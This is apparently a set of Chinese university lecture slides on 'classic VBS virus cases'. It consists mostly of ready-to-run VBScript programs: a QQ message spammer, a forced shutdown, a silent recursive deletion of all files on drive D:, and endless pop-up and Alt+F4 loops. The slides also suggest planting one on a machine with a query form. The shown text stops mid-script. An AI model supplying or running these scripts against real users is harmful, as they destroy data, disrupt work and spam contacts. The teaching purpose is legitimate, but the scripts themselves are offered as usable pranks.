济南大学信息科学与工程学院网络信息对抗课件 第22讲.ppt

第22讲 VBS病毒经典案例 答疑地点：12J810|12J806 网络答疑：QQ：252175436 答疑时间：周三上午9:30-11:00 1、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs On Error Resume Next Dim wsh,ye set wsh=createobject(wscript.shell) for i=1 to 10 wscript.sleep 700 wsh.AppActivate(与 xx 聊天中) wsh.sendKeys ^v wsh.sendKeys i wsh.sendKeys %s next wscript.quit * * 2、用这个程序放在某页面的查询表单的机器上 代码如下： do msgbox You are foolish! loop * * 3、直接关机 dim WSHshell set WSHshell = wscript.createobject(wscript.shell) WSHshell.run shutdown -f -s -t 00,0 ,true * * 4、删除D:\所有文件 --------------------------------------------------------------------------- 代码如下： dim WSHshell set WSHshell = wscript.createobject(wscript.shell) WSHshell.run cmd /c del d:\*.* / f /q /s,0 ,true * * 5、不断弹出窗口 while(1) msgbox 哈哈 你被耍了！ loop * * 6、不断按下alt+f4 （开什么都关闭……）病毒太强必须关机才行！ dim WSHshell set WSHshell = wscript.createobject(wscript.shell) while(1) WSHshell.SendKeys %{F4} Wend * * 7、按500次回车 dim s do until s=500 s=s+1 msgbox 哥们，给我按500次回车吧,64 loop * * 8、关不掉的窗口 WScript.Echo(嘿，谢谢你打开我哦，我等你很久拉！TSName) WScript.Echo(你是可爱的小朋吗?) WScript.Echo(哈,我想你拉，这你都不知道吗？) WScript.Echo(怎么才来，说~是不是不关心我) WScript.Echo(哼,我生气拉，等你这么久，心都凉啦。) WScript.Echo(小强很生气，后果很严重哦。) WScript.Echo(嘿嘿！你也会很惨滴哦) WScript.Echo(是不是想清除我？) WScript.Echo(那你要点上50下哦，不过会给你惊喜滴) WScript.Echo(还剩49下，快点点哦) WScript.Echo(还剩48下，快点，小笨蛋！) * * WScript.Echo(还剩47下对，就这样快点点！) WScript.Echo(还剩46下。你啊就是笨，要快哦，我先不打扰你工作。) WScript.Echo(还剩45下，记得要快哦！) WScript.Echo(还剩43下) WScript.Echo(还剩42下) WScript.Echo(还剩41下) WScript.Echo(还剩40下) WScript.Echo(还剩39下) WScript.Echo(还剩37下) WScript.Echo(还剩36下) WScript.Echo(还剩35下) * * WScript.Echo(还剩34下) WScript.Echo(还剩33下) WScript.Echo(还剩32下) WScript.Echo(还剩30下) WScript.Echo(还剩29下) WScript.Echo(还剩28下) WScript.Echo(还剩27下) WScript.Echo(还剩26下) WScript.Echo(还剩25下) WScript.Echo(还剩24下) WScript.Echo(还剩23下) * * WScript.Echo(还剩22下) WScript.Echo(还剩21下) WScript.Echo(还剩20下) WScript.Echo(还剩19下) WScript.Echo(还剩18下) WScri